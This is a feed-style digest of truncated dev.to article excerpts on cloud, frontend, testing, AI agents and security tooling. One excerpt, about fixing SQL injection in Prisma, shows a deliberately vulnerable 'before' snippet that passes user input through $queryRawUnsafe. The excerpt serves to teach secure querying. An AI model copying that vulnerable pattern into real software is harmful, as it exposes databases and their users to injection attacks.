    AI keeps crashing against the same walls Yep, everybody, even Tesla, is using the old damn math from 2 centuries ago, and hence it’s not surprising to watch many of scenes like this all over YouTube when you rely on AI driving your Tesla: Apparently, not even Tesla - with its 1.4 Trillion valuation and army of PhDs - knows about this math. Or maybe they do, and just enjoy watching their cars perform interpretive dance routines at 60 mph. Either way, here’s the greatest hits compilation you’ve seen all over YouTube: The Tesla Self-Driving Blooper Reel: 🎬 Phantom Braking - The car slams the brakes for a shadow. Because apparently, shadows are the #1 threat to highway safety in the 21st century. 🎬 The Surprise Party Turn - Takes curves at full speed, then goes “OH SHIT A CURVE!” and throw…  ( 13 min )
    Unlock Insights: Data Wiring for Concept Discovery by Arvind Sundararajan
    Unlock Insights: Data Wiring for Concept Discovery Drowning in data but starving for understanding? We've all been there. Traditional analytics often reveals correlations, but struggles to explain the underlying logic driving those patterns. What if you could visualize the flow of information that shapes complex processes, revealing hidden causal relationships? Imagine wiring diagrams, but for data. We're talking about creating labeled, directed graphs that map the sequential flow of information and reveal the core logic of a system. These diagrams essentially "wire up" data points into a visual narrative, revealing how one event predictably leads to another, ultimately clarifying underlying concepts. This approach translates sequential data into a network of states and transitions. The …  ( 7 min )
    Coforge Introduces Forge-X to Improve Software Projects and Engineering Productivity
    New Forge-X platform by Coforge helps teams deliver software faster, improve project quality, and coordinate work across multiple locations Coforge announced the introduction of Forge-X an integrated engineering and delivery platform that totally changes the way software is delivered. It is based on agentic AI concepts. To deliver complex technology transformations at scale this whole platform uses autonomous AI agents that leverage Coforge's deep engineering experience and use contextual decision-making based on the firm's industry domain depth. Read full news here: https://bizfortune.com/2025/11/business-fortune-forge-x-improve-software-projects  ( 6 min )
    Creating IAM User, S3 Bucket and VPC
    Infrastructure as Code has completely changed how cloud resources are created and managed. Terraform enables you to deploy AWS services using simple, declarative configuration files. This article explains how Terraform interacts with AWS, how authentication works, and how to create both a VPC and an S3 bucket with an implicit dependency between them. Terraform uses the AWS provider to communicate with AWS services. The provider needs valid credentials, which can be configured in several ways: Using the aws configure command to store credentials inside ~/.aws/credentials Setting environment variables such as AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY Using IAM roles when running Terraform from EC2, ECS, or Lambda Using AWS SSO or shared credentials files The IAM user or role must have pe…  ( 7 min )
    "Dependency injection patterns in Swift"
    One of the most useful patterns in software development — and one that is available in many languages, not just Swift — is dependency injection. When I first learned about it over a decade ago, I started using it everywhere possible. It’s a simple idea with a surprisingly big impact. Here’s why it’s worth mastering. One of the biggest advantages of using dependency injection is that it makes our code immediately more testable. Even in projects full of singletons, we can break apart large chunks of tightly coupled code into smaller, more loosely coupled components. Our implementations rely more on protocols (interfaces) rather than concrete classes, making it easier to swap or replace them. By depending on abstractions rather than concrete implementations, each component can focus solely on…  ( 10 min )
    Fixing React Error #306 in Next.js App Router
    What is React Error #306? React Error #306 occurs when you try to pass a non-serializable object (like a function, class instance, or complex object) across the server/client component boundary in Next.js App Router. The full error message is: Objects are not valid as a React child (found: [object Object]). If you meant to render a collection of children, use an array instead. In production, you'll see the minified version: Error: Minified React error #306; visit https://react.dev/errors/306?args[]=%5Bobject%20Object%5D&args[]= for the full message Environment Behavior Development (npm run dev) React is lenient and allows some serialization issues to pass silently Production (npm run build && npm start) React strictly enforces serialization rules and throws errors This hap…  ( 11 min )
    Why is continuous test automation essential for modern software development?
    In today’s software world, speed and quality go hand in hand. Teams release updates faster than ever, but every new code change brings the risk of bugs or system errors. That’s why continuous test automation has become so important. It helps developers catch problems early, fix them quickly, and deliver reliable software without slowing down. Working with an experienced automation testing company ensures your testing process runs smoothly from start to finish — helping you release better products faster. Modern development depends on automation. In a DevOps pipeline, testing happens automatically at every stage — from code commits to deployment. This process is known as continuous testing in DevOps, and it keeps your software stable during rapid updates. Tools that support continuous integ…  ( 7 min )
    如何优化您的亚马逊Listings以适应 Rufus AI:第三方卖家实用指南
    From:how-to-optimize-your-amazon-listings-for-rufus-ai-a-tactical-guide-for-3p-sellers 亚马逊 Rufus AI 是电商领域又一项突破性的升级。它是一款对话式、人工智能驱动的助手,能够帮助购物者更快地找到更合适的商品。但对于第三方卖家来说,更重要的是:Rufus 不仅仅根据关键词推荐商品。它会解读您的整个产品详情页面,包括标题、要点、A+ 内容、评论,甚至视频,从而判断相关性。 您的商品信息不再仅仅供人阅读。Rufus 也会阅读它们。如果您的文案未能清晰传达产品优势,如果您的关键词隐藏在后台深处,或者如果您的 A+ 内容只是填充内容,那么您的商品就不会被推荐。 能够快速适应并调整内容和 PPC 以符合 Rufus 偏好的卖家,将赢得更高的曝光率、点击量和转化率。 让我们来谈谈策略。 作为第三方卖家,您可能至少遇到过以下一项挑战;自然排名下滑、关键词转化率不如以往,或者竞争对手排名上升却不降价,这些都可能预示着亚马逊正在针对 Rufus 进行优化。 以下是正在发生的变化: 仅仅依靠关键词已经不够了。Rufus 会评估内容的整体相关性。 通用的要点会被过滤掉。人工智能能够理解含义和措辞。 即使看起来不错,但缺乏价值的 A+ 内容也无法提升排名。 付费搜索广告 (PPC) 也无法弥补内容质量的不足。 如果您的商品信息仍然沿用过时的结构,例如堆砌关键词的标题、浅显的要点描述和极少的 A+ 内容,Rufus 将不会识别您的商品。 问:为什么亚马逊的人工智能叫做 Rufus? 答:Rufus 是一只威尔士柯基犬的名字,它曾经是亚马逊办公室里一位备受喜爱和熟悉的伙伴。 问:什么是亚马逊 Rufus 人工智能? A. 内置人工智能助手,可通过实时回答购物者的问题来帮助购物者找到产品。 Rufus 注重自然…  ( 6 min )
    What makes .NET development solutions ideal for managing retail inventory?
    Running a retail business sounds fun… until you start handling inventory. One store is manageable, but when products, warehouses, and online orders start piling up, things get messy fast. That’s where .net development services come in. A good .NET development solution can keep stock organized, update in real time, and stop you from losing sales because of missing or wrong inventory. It gives retailers a simple way to control items, manage stores, and track numbers without stress. .NET is a solid choice for building retail software because it works well with POS systems, scanners, and online stores. It supports real-time data, making sure you always know what is in stock. It also helps with inventory tracking, barcode scanning, and even cloud-based inventory. When businesses need something …  ( 7 min )
    MySQL HeatWave: Migrating Your Data to HeatWave Service
    Migrating data to MySQL HeatWave is a critical step in leveraging the cloud's power for your database workloads. MySQL Shell dump utilities provide the recommended method for exporting data from source MySQL databases and importing them into HeatWave DB systems. These utilities offer HeatWave-specific compatibility checks, parallel processing, and automatic modifications to ensure smooth migrations. This guide covers dump utilities, compatibility checks, and best practices for successful data migration to MySQL HeatWave. Data migration to MySQL HeatWave involves moving data from a source MySQL database (on-premises, cloud, or other infrastructure) to a target MySQL HeatWave DB system in Oracle Cloud Infrastructure. Migration Process: Export data from source using MySQL Shell dump utilities…  ( 12 min )
    The Rising Complexity of Modern CSS
    Modern CSS is nothing short of incredible. It gives us the tools to craft rich, interactive, and visually stunning experiences on the web. But with this surge in capability comes a new weakness—not in CSS itself, but in the way we work with it. When I started my career as a web developer, writing CSS often meant inventing hacks to work around what it couldn’t do. Those days are far behind us. Today, CSS offers advanced layout systems, 3D transformations, and highly flexible animation tools. Yet most of the challenges we face in modern CSS aren’t about missing features—they stem from how we author it. This is why the future of CSS might not live in plain text files at all, but in visual creation tools. That idea might sound outrageous at first, but bear with me—I’ll try to make the case. De…  ( 8 min )
    DEVLOG #0-What is DEBMO?
    So on Nov 3rd, after months of feeling completely lost about what I want to do in the future, I finally decided on my path. That path is DEBMO. It originally started as something much smaller, called Project-DB, a drag-and-drop (DnD) query tool that would let tech and non-tech people work with databases without hassle. The idea was to connect multiple databases (MariaDB, PostgreSQL, even Snowflake warehouses), run queries, and process data in one place. After I met the two people who later joined me on this journey, we realized it needed to be more than “just” a query tool. That’s when we came up with things like Excelerator, Data Studio, and a more advanced permissions system to support the way teams actually work with data together. Right now, I’m the only one working on the development side. There have already been a lot of sleepless nights going into this, and I don’t regret even 0.1% of it. So far, we’ve built: The main project structure Connections to Buckets / DB / Redis Login with 2FA Role-based permissions The Admin Portal It’s tiring and hard, but it’s also exciting to see it slowly become real. Our current goal is to have a free testing phase starting around Jan/Feb, where anyone can try the MVP for a few months. During that time we’ll collect feedback, fix bugs, and ship the features we still have planned. The MVP will stay free during this testing period before we eventually move to paid plans later on. If you’re interested in the project, want to follow the development, or give feedback before and during the testing launch, you can join the DEBMO Discord server (link below). Until then, I’ll be posting weekly devlogs here on dev.to to share progress, decisions, and struggles along the way. Wish me luck on this journey. 🚀 Link: https://discord.gg/zJC8tU2y  ( 7 min )
    🚀 22s to 4s: How AI Fixed Our Vitest Performance
    Running unit tests shouldn't feel like a coffee break. But on our main frontend project, that's exactly what happened. Every time we launched a single test file, we had to wait over 20 seconds before the first test even started. We tried the usual fixes: tweaking the vitest.config.ts, isolating threads, optimizing mocks... Nothing worked. The bottleneck wasn't in the configuration—it was deep in our architecture. In this article, I share how we used Gemini 3 Pro to identify and fix the issue, dividing our local test startup time by 5 and saving 15 minutes on every CI pipeline run. ✅ The "God Module" Anti-Pattern: How importing a single utility can silently load your entire application. ✅ AI-Assisted Debugging: Why Gemini 3 Pro succeeded where other models failed to diagnose architectural …  ( 7 min )
    The Workforce of Tomorrow: How Monitoring Shapes Team Excellence
    The workplace is rapidly transforming, fueled by remote work, digital collaboration, and the rising need for efficient and transparent performance management. In this evolving environment, organizations are increasingly adopting employee monitoring tools to understand how work happens not to micromanage, but to empower teams with clarity and actionable insights. These modern solutions provide a strategic advantage, helping companies build cultures rooted in accountability, fairness, and continuous improvement. What Is Monitoring in the Workforce? In the modern workplace, monitoring is no longer about surveillance, it is about enhancing performance visibility, improving operational efficiency, and ensuring that employees get the support they need to perform at their best. When implemented w…  ( 8 min )
    Demo
    भाई तुरंत ब्लॉग उड़ेल दूँगा 5 मिनट में… अरे पहले तो ये लो आपका पहला चैप्टर, एकदम गरमागरम तंदूरी स्टाइल में 🔥 अरे वाह भाई! तूने कोडिंग सीखने का सोचा और सबसे पहले पाइथन पकड़ लिया? सही पकड़े हैं! बाकी लोग अभी C++ में struct-pointer से लड़ रहे होते हैं, तू तो पहले दिन से राजा बनने की तैयारी कर रहा है 😂 पाइथन वो भाषा है जो इतनी देसी है कि लगता है गाइडो अंकल ने चाय पीते-पीते ही बना दी होगी। अब ज़रा सोच के देख… तूने कभी सोचा कि जो इंस्टाग्राम चलाता है, जो यूट्यूब रिकमेंडेशन देता है, वो सब किससे बना है? एक ऐसा कोड जो 5 लाइन में काम कर दे जबकि Java में 50 लाइन लगती हैं – वो पॉसिबल है? क्या सच में कोई भाषा इतनी आसान हो सकती है कि 10वीं पास लड़का भी 2 हफ्ते में ऐप बना ले? और हाँ, क्या ये सच है कि पाइथन सीख लिया तो नौकरी में 15-20 LPA आराम से मिल जाता है आजकल? अब चल, मैं तुझे सच बता देता हू…  ( 19 min )
    Serverless vs Containers: What’s Winning in 2026?
    The debate between Serverless vs Containers has never been more relevant, and 2026 is the first year where the winning pattern is finally visible. According to recent Cloud Native and FinOps surveys, more than 78% of engineering teams now run hybrid architectures, combining both Serverless and Containers to optimize cost, performance, and development velocity. The truth is clear: Serverless now powers millions of event-driven workloads with almost zero operational overhead. Containers remain the backbone for long-running, stateful, and AI-driven applications. Cloud providers now offer serverless containers, blurring the line between both models. This blog is written for **startup CTOs, infra engineers, cloud architects, DevOps teams, FinOps teams, and digital product engineering co…  ( 10 min )
    Plug & Productionize Your AI Agents with AWS Bedrock AgentCore
    Deploying a Local AI Agent to AWS Bedrock AgentCore This post demonstrates a streamlined approach to deploying locally developed AI agents using AWS Bedrock AgentCore. We'll build a simple single-node LLM agent, extend it with real-time web search, and deploy it seamlessly. Overview I have created a simple LLM agent using OpenAI and extended it with DuckDuckGoSearchResults (LangChain) to fetch current internet information. Once tested locally, the agent can be deployed to AWS Bedrock AgentCore, giving you: Automatic scaling Serverless execution Fully managed runtime Tech Stack OpenAI Model ** : gpt-5-nano : LangGraph Deployment : AWS Bedrock AgentCore Tooling : DuckDuckGoSearchResults (LangChain) Follow along Github repo link : https://github.com/sampathkara…  ( 7 min )
    AI Agent Frameworks: A Practical Guide
    Artificial Intelligence has revolutionised lives in the past few years. We’ve moved from simple chatbots and prediction tools to a new kind of smart system—AI agents. These agents don’t just respond to questions. They can think, plan, and take action on their own. They can talk to people, use software tools, and even work with other agents to reach goals. But what makes all this possible is something most people don’t see: AI agent frameworks. These frameworks are the hidden structure that helps build, run, and manage AI agents. They are what turn language models into full digital workers. Let’s discuss them in detail. At its essence, an artificial intelligence agent is a kind of software that can sense its surroundings, formulate objectives, and then act in a way to accomplish those objec…  ( 13 min )
    How to build a responsive pricing table with Tailwind CSS and Alpine.js
    I put together a responsive pricing table that actually behaves like a real one: stacks cleanly on mobile, stays readable on desktop, and doesn't fall apart the moment you add one more feature row. There's a full code block you can copy, tweak, and drop into your own project. Read the article and get the code:  https://lexingtonthemes.com/blog/how-to-build-a-responsive-pricing-table-with-tailwind-css-and-alpinejs  ( 6 min )
    The Hidden Cost of Utility Types and Inheritance in TypeScript
    TypeScript's type system is a powerful tool for building robust applications. Features like utility types and interface inheritance feel like natural ways to reduce repetition and structure code. However, when overused, they can silently introduce complexity and fragility that undermine the very maintainability we seek. Utility types like Pick, Omit, and Partial are incredibly convenient. They allow us to create new types on the fly, often saving us from writing verbose type definitions. The Problem: Overusing them, especially nested within other utilities, creates "type opaqueness." The origin and contract of a type become obscured, making the code harder to understand and reason about. Consider this example: type User = { id: string; name: string; email: string; createdAt: Date; …  ( 8 min )
    HashMap in Java - Complete Documentation
    Overview HashMap is a widely-used data structure in Java that implements the Map interface for storing key-value pairs. It delivers O(1) time complexity for fundamental operations like insertion and retrieval under typical conditions. HashMap utilizes an array of nodes as its foundation, commonly referred to as the bucket array. Each bucket can accommodate multiple entries through either a linked list or tree structure when collisions occur. Every entry in the HashMap is represented by a Node object that implements the Map.Entry interface: static class Node implements Map.Entry { final int hash; // Hash code of the key final K key; // The key V value; // Associated value Node next; // Reference to next node } Hash Computatio…  ( 8 min )
    🔥 How to Install GNS3 on Fedora + Your First "Hello, World!" in GNS3 🖥️⚡
    When I first tried installing GNS3 on Fedora, I checked the official GNS3 website — and surprisingly, Fedora wasn’t listed. They only provide installation guides for: Ubuntu-based distros Debian-based distros Arch-based distros But no Fedora 😅 Luckily, GNS3 is actually available on Fedora — directly from its official repositories. Here’s how you can install it and run your very first “Hello, World!” inside GNS3! Even though Fedora isn't listed on the official website, Fedora includes GNS3 in its own package repositories. sudo dnf install gns3-server gns3-gui This gives you: gns3-server → backend gns3-gui → the graphical application When launching GNS3 for the first time, the setup wizard appears. Choose: 👉 Run appliances on my local computer This means the GNS3 server runs on your m…  ( 9 min )
    Turbocharge Your LLMs: A Breakthrough in Neural Network Optimization
    Turbocharge Your LLMs: A Breakthrough in Neural Network Optimization Stuck in slow training cycles? Watch your neural networks grind to a halt, especially with massive language models? Model training can feel like navigating a minefield of instability and frustratingly slow progress. But what if you could sidestep these common pitfalls and unlock significantly faster, more reliable training? The key lies in a new approach to gradient optimization, specifically designed for the complexities of modern neural networks. Imagine a team of rowers – if their strokes are perfectly synchronized (orthogonalized), the boat moves faster and more efficiently. Similarly, by carefully orthogonalizing gradient updates, we can drastically improve convergence speed during training. This novel optimizer em…  ( 7 min )
    Ephemeral Vulnerability Scanner: Pure Client-Side JS for Windows/Linux/macOS Vuln Analysis
    Hey Dev.To community! 👋 I've just launched a new open-source project that might be of interest to those building CI/CD pipelines or managing internal security tooling: Ephemeral Vulnerability Scanner. This is a 100% client-side application built with vanilla JS/HTML/CSS. You clone it, open index.html, upload your system inventory (inventory.json), and get an instant, privacy-safe vulnerability report. 💡 Why this architecture? It addresses the privacy concern: No sensitive system data leaves your device. It's fast and eliminates backend maintenance overhead. It's transparent: you can literally inspect the app.js source to see the entire logic. Under the Hood: We use platform-specific commands (PowerShell, dpkg, rpm, brew) to generate the initial JSON inventory. The analysis logic hits MSRC CSAF API (Windows), OSV.dev API (Open Source), and CISA KEV for a strict, verified lookup. Results are grouped into clean, actionable "Package Cards" with the minimum safe version calculated automatically. Check out the repo, try the demo, and let me know what you think of the client-side approach for security analysis! 🔗 Live Demo: VulnScan  ( 6 min )
    How I gave my AI Agent long-term memory (without the vector DB headache)
    Body: I’ve been building a lot of AI agents lately. The logic is usually fun to write, but I kept hitting the same wall: State Management. LLMs are stateless. As soon as the session ends, the context is gone. Sure, you can pass the chat history, but once that hits the token limit, your agent gets amnesia. The standard solution is "Just use a Vector Database." But setting up a dedicated Pinecone or Weaviate instance, configuring the embedding pipeline (OpenAI/HuggingFace), and writing the chunking logic just to store a few user preferences felt like massive overkill for my side projects. I didn't want to manage infrastructure; I just wanted my agent to remember that my favorite color is blue. So, I spent the last few weeks building a dedicated API to abstract all that boring stuff away. It’…  ( 8 min )
    10x Growth Doesn’t Come From More Tools — It Comes From Removing Friction
    Most engineering teams assume scaling requires adding more: More tools More dashboards More AI More engineers But every experienced engineer eventually learns the truth: Systems don’t slow down because they lack tools. They slow down because of friction. Friction created by scattered data, noisy workflows, redundant SaaS tools, and “manual work disguised as process.” Engineering teams often operate across 15–25 tools. Individually useful. Collectively damaging. Tool sprawl creates: Fragmented data models Multiple “sources of truth” Delays in handoffs Duplicated workflows Hidden manual steps everywhere When each tool stores a different slice of truth, your architecture becomes diffuse, not distributed. 10x companies don’t scale by adding more layers. They scale by reducing …  ( 7 min )
    This Web3 Wallet Connector will save you hours
    GM! Just shipped a production-ready Web3 Wallet Connector with TypeScript & React ⚛️. Deployed on Vercel, source and README on GitHub. Devs, hope this makes your Web3 projects easier? Live Demo  ( 6 min )
    The Future of IT: How Artificial Intelligence is Transforming Technology
    The Information Technology (IT) industry has always been at the forefront of innovation, driving advancements that change the way we live and work. From the early days of mainframes to the modern cloud-based ecosystems, IT continues to evolve at a breakneck pace. One of the most revolutionary forces shaping IT today is Artificial Intelligence (AI). AI in Everyday Technology Artificial Intelligence is no longer a futuristic concept—it’s already part of our daily lives. From smart assistants like Alexa and Siri to recommendation engines on Netflix and Amazon, AI is making technology smarter, faster, and more intuitive. In IT, AI is being leveraged for: Cybersecurity: AI algorithms can detect anomalies in network traffic, identify potential threats, and respond to breaches faster than human t…  ( 7 min )
    Unlocking Performance: A Comprehensive Guide to Web Workers
    JavaScript, by its nature, is a single-threaded language. This means it traditionally executes one operation at a time on the browser's "main thread." This main thread is responsible for everything a user sees and interacts with: rendering the UI, handling user input, running animations, and executing all your application's JavaScript. While this single-threaded model simplifies development in many ways, it presents a significant challenge: what happens when your JavaScript needs to perform a heavy, CPU-intensive task? The answer, historically, was a frozen UI, unresponsive buttons, and a frustrating user experience. Enter Web Workers. Web Workers provide a way to run JavaScript scripts in background threads, separate from the main execution thread of a web page. By offloading CPU-intensiv…  ( 12 min )
    Day 46: Python Moving Average Calculator, Optimized Sliding Window for Simple Moving Average Computation
    Welcome to Day 46 of the #80DaysOfChallenges journey! This intermediate challenge implements a Simple Moving Average (SMA) calculator using an efficient sliding window approach that maintains a running sum, achieving O(n) time complexity while avoiding redundant calculations. It handles user-provided data series and window size, returning a list of averages with proper validation, making it a practical tool for time-series smoothing, financial indicators, or signal processing. If you're advancing from basic loops to performance-aware algorithms or dealing with sequential data, this "Python moving average" script demonstrates a function that's optimized, easy to understand, and ready for extensions like exponential or weighted averages. This task features a function that initializes the fir…  ( 12 min )
    From Policy to Code: How Leading Companies Operationalize Privacy
    Most companies still treat privacy as a policy problem. That difference — between writing rules and enforcing them — is what separates organizations that talk about responsible data use from those that actually achieve it. The Weekly Translation Failure Every week, legal, product, and engineering teams sit down to align on privacy and responsible data use. And every week, they run into the same challenge: It’s not a communication problem. A privacy policy that reads cleanly in a spec document becomes a maze of implementation questions the moment it meets code: Policy teams speak in rights, obligations, and business rules. The result? The Missing Layer: A Shared Operational Foundation What’s missing isn’t collaboration — it’s a common operational foundation. This is why privacy must be treated as a systems problem. That’s the core principle behind emerging privacy infrastructure — where legal definitions, business policies, and data models converge into a single executable framework. When obligations are expressed as code, they become: When Policy Lives in Infrastructure When privacy is embedded directly in infrastructure, the dynamic between teams changes entirely: That’s not just better governance — it’s a better growth model. Instead of being boxed in by complexity, teams gain the freedom to innovate safely with sensitive data — whether it’s for AI, analytics, personalization, or compliance. Privacy as a Competitive Advantage Enterprises that get this right stop playing defense with privacy. Because when privacy becomes part of your stack, not just your policy binder, you don’t just comply. You scale responsibly. You innovate with confidence. And you turn privacy from a blocker into a feature of your growth model.  ( 7 min )
    Understanding the Basics of Pay-Per-Click (PPC) Advertising
    Pay-Per-Click (PPC) advertising has become one of the most effective and widely used online marketing models for businesses of all sizes. Whether you are a small brand looking to attract local customers or a large company aiming to scale globally, PPC gives you immediate visibility, measurable results, and complete control over your advertising spend. To use PPC effectively, you must understand how it works, what factors influence performance, and how to optimize your campaigns for better results. This guide breaks down the basics of PPC advertising in a clear and practical way. What Is PPC Advertising? PPC stands for Pay-Per-Click, a digital advertising model where advertisers pay only when someone clicks on their ad. Instead of paying for impressions or visibility, you pay for real eng…  ( 9 min )
    Fixing SQL Injection Vulnerabilities to Strengthen Security
    Overview While implementing full-text search functionality, we discovered an SQL injection vulnerability and fixed it by migrating to Prisma's parameterized queries. This article explains the dangers of $queryRawUnsafe, best practices for secure query implementation, and improvements to error handling. Prisma ORM (v5.x) TypeScript (v5.x) PostgreSQL (v14+) Node.js (v20 LTS) Security tools: OWASP ZAP, Snyk In the initial implementation of full-text search functionality, we were using $queryRawUnsafe: // Red flag: Vulnerable code (before) export async function findManyWithFullTextSearch(params: { keywords: string[]; // ... }) { const searchQuery = keywords.join(' & '); // User input is embedded directly in the query! const results = await prisma.$queryRawUnsafe(` SELECT e.* …  ( 14 min )
    Rethinking State Management in React: A UI Architect’s Deep Dive Into “State Boundaries”
    In the React ecosystem, we’ve spent years debating which state management library to use — Redux, MobX, Recoil, Zustand, Jotai, XState, and the ever-humble React Context. But the real architectural question we often forget is far more fundamental: Where should state live? How far should it travel? And how do we prevent state from becoming a silent source of UI slowdown? Let's discuss in depth on an unglamorous yet powerful topic that every UI architect should obsess about: State Boundaries — The Most Important Concept in Scalable React Apps State boundaries define how far a piece of state is allowed to influence the UI. If your components re-render “too much,” lag under load, or behave unpredictably, the root cause 90% of the time is: Your state boundaries are broken. Let’s understand th…  ( 9 min )
    Developer can write unit test by cypress prompt
    🚀 TECHNICAL DOCUMENT: Cypress Prompt – Natural Language Test Automation (2025) 1. OBJECTIVE This document explains: What Cypress Prompt is and how NLP-based test automation works. How Cypress converts natural language → test execution. How to integrate it into our TypeScript + POM + SOLID Cypress framework. A complete example using your code. Comparison with Microsoft Playwright MCP Agent. What is Cypress Prompt? Cypress Prompt is a new feature (2024–2025) that allows engineers to write Cypress tests in natural language, for example: cy.prompt([ "visit https://todomvc.com/examples/react/dist/", 'type "Daily Report" into the new todo field', 'type {enter} into the new todo field', 'verify "Daily Report" todo is created successfully', ]) Cypress will: Parse the na…  ( 8 min )
    The Cryptography That Powers Solana: A Developer's Guide
    If you are diving into Solana development, you have probably heard terms like "Ed25519" and "Proof of History" almost always. But what do they actually mean? How do they work? Let us break down the cryptography that makes Solana one of the fastest blockchain networks available. Think of cryptography as the art of securing communication in hostile environments. In the blockchain world, it is what allows you to prove you own an account, sign transactions, and trust that data hasn't been tampered with, all without needing a central authority to verify everything. At its core, cryptography uses mathematical functions that are easy to compute in one direction but nearly impossible to reverse. It is like mixing paint colors: easy to mix blue and yellow to get green, but try separating that green…  ( 8 min )
    🚀 The End of Study Juggling: I Built the Ultimate All-in-One AI EdTech Platform with Streamlit and Gemini
    Here View the Project on GitHub#EdTech #AI #Gemini #Streamlit #Productivity #Students #Learning #StudyTool #Coding #Development #GenAI  ( 8 min )
    2025 Headless CMS Selection Guide with Use Cases and Starter Templates
    Headless CMS has become a cornerstone of modern web architecture. Whether it's a marketing site, SaaS documentation, or the content layer for an AI app, a flexible CMS is indispensable. But with so many choices, developers often ask: Which CMS should I pick? This guide covers six popular Headless CMS — Contentful, Strapi, Sanity, Ghost (API mode), Payload, Wix (Headless Mode) — with: Best‑fit scenarios Pros & cons Reference starter templates Best for Enterprise‑level content management (multi‑team, multilingual, multi‑environment) Marketing websites, product documentation Multi‑channel content distribution (Web / App / IoT) Pros Reliable SaaS with strong uptime SLAs Rich SDKs and GraphQL support Flexible content modeling, multilingual support Powerful roles and workflow managem…  ( 7 min )
    Content Delivery Network Guide: Top CDN Providers & Selection Tips
    What is a CDN? A Content Delivery Network (CDN) is a strategically distributed system of servers designed to deliver internet content with maximum speed and efficiency to users worldwide. According to recent industry data, over 80% of global web traffic now flows through CDN infrastructure, making it an essential component of modern digital infrastructure. When a user accesses a website, the CDN intelligently delivers content from the server geographically closest to that user—known as an "edge server" or "Point of Presence" (PoP)—rather than routing all requests to a single origin server. This distributed architecture fundamentally transforms how content reaches end users, reducing latency by up to 50 milliseconds for 95% of internet users globally. 1. User Request Initiation When a use…  ( 15 min )
    2FA2FA – Free Online Two-Factor Authentication Code Generator (No App Required)
    You need a 6-digit code to sign in, but don’t have an authenticator app on this device—whether it’s a new laptop, a work computer, or a quick test. That’s where 2FA2FA comes in. 2FA2FA Live Auth is a free, browser-based Time-based One-Time Password (TOTP) generator. Paste a Base32 (binary-to-text encoding scheme) secret or import it from a QR code image, and your time-based codes appear instantly—no account, no install, and nothing stored. The math runs locally in your browser and disappears when you close the page. If you later want encrypted storage and bulk code management, there’s a separate Manager, but Live Auth keeps first use as simple as it gets. Try it here. Password-only security fails in very predictable ways—reused credentials, phishing, password spraying, and credential stu…  ( 11 min )
    I Developed a Game Called “Bug Sniper” for Finding Bugs in Code
    Recently, I released the code-review gamification project “Code Review Game.” This time, I created another game called “Bug Sniper,” where the goal is to find bugs hidden in code. https://bug-sniper.goofmint.workers.dev/ Code Review Game was originally designed for conference booths so that attendees could give it a try. However, it ended up becoming something that required fairly serious review skills. While this was useful from a learning perspective, it required a PC and wasn’t something you could casually enjoy. With that in mind, I created Bug Sniper as a more lightweight, pick-up-and-play experience. Bug Sniper is a game where you keep finding bugs in code for 60 seconds straight. Each problem contains around one or two bugs. For example, consider the following code: function get…  ( 7 min )
    Observables in SwiftUI
    Observables This article aims to explain how observables help or fit in into the use case of sharing data among views. Before that, we need some context. When we want to share data among views, we usually use classes instead of structs. The main reason is that whenever we use structs, each view will have its own copy of said struct, so it does not really fit the use case if you would like to share data among views. To be able to share data among views, you need to use classes. import Combine class Counter: ObservableObject { @Published var count = 0 } The above code contains a class called Counter and it inherits ObservableObject. SwiftUI makes use of the subscriber-publisher model. In this case, the Counter class publishes the count variable. struct ContentView: View { @State…  ( 7 min )
    A Beginner-Friendly Guide to JavaScript Arrays (with Examples)
    Arrays in JavaScript are like tiny storage shelves where each item has a number tag (index). They let us store multiple values together and work with them easily. What Are Arrays? An array is a collection of elements. Arrays are represented using square brackets [], like this: let arr = [4, 8, 7, -1, 0, 4, 9]; Indexing in Arrays So for an array of n elements, the valid index range is: Examples: console.log(arr[2]); // 7 console.log(arr[25]); // undefined Array Length console.log(arr.length); // 7 Arrays Are Mutable 1️⃣ push() let arr = [1, 2, 3]; arr.push(4, 5); console.log(arr); // [1, 2, 3, 4, 5] 2️⃣ pop() let arr = [1, 2, 3, 4, 5]; arr.pop(); console.log(arr); // [1, 2, 3, 4] 3️⃣ unshift() let arr = [1, 2, 3]; arr.unshift(4, 5); console.log(arr); // [4, 5, 1, 2, 3] 4️⃣ shift() let arr = [1, 2, 3]; arr.shift(); console.log(arr); // [2, 3] 5️⃣ splice() A powerful method used to add, remove, or replace elements. Examples: let arr = [5, 6, 7, 8, 9, 10, 11, 12]; arr.splice(3); // delete all from index 3 arr.splice(3, 1); // delete only element at index 3 arr.splice(3, 2, "raj", "shekhar", "john"); // replace 2 items Given: let friends = ["sheldon", "rachel", "ross", "chandler", "monica", "penny"]; 1️⃣ Remove "sheldon" and add "pheobe" friends.shift(); friends.unshift("pheobe"); 2️⃣ Remove "penny" and add "joey" friends.pop(); friends.push("joey"); 3️⃣ Add "emma" between "rachel" and "ross" friends.splice(2, 0, "emma");  ( 7 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less Cinemasins dives into the 1978 musical fantasy to tally up every plot hole, awkward production choice, and head-scratching moment as Dorothy skips down the yellow brick road. With Wicked back in theaters, they revisit The Wiz through a modern, unapologetically snarky lens—asking if it’s actually better than you remember. Along the way, they plug their main site for more “sins,” invite you to fill out a quick poll, and suggest supporting their tiny team on Patreon. You’ll also find a shout-out to their writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) plus links to Discord, Reddit, Instagram, TikTok, and more ways to keep up with CinemaSins. Watch on YouTube  ( 6 min )
    What Are the Common Pitfalls in Developing Financial Technology Products?
    Developing financial technology (fintech) products is a complex endeavor. It combines the fast-paced innovation of tech with the stringent demands of finance: security, compliance, and absolute reliability. Many projects, even with brilliant ideas and talented teams, stumble due to common pitfalls that are often underestimated. Understanding these challenges upfront can significantly increase a project's chances of success. This article explores some of the most frequent pitfalls in developing fintech products, offering insights for product managers, developers, and stakeholders. Fintech operates in one of the most regulated environments globally. This is arguably the biggest differentiator from general tech development. Common mistakes include: Ignoring compliance from day one. Treating r…  ( 9 min )
    A C# File I/O Quick Reference For professionals
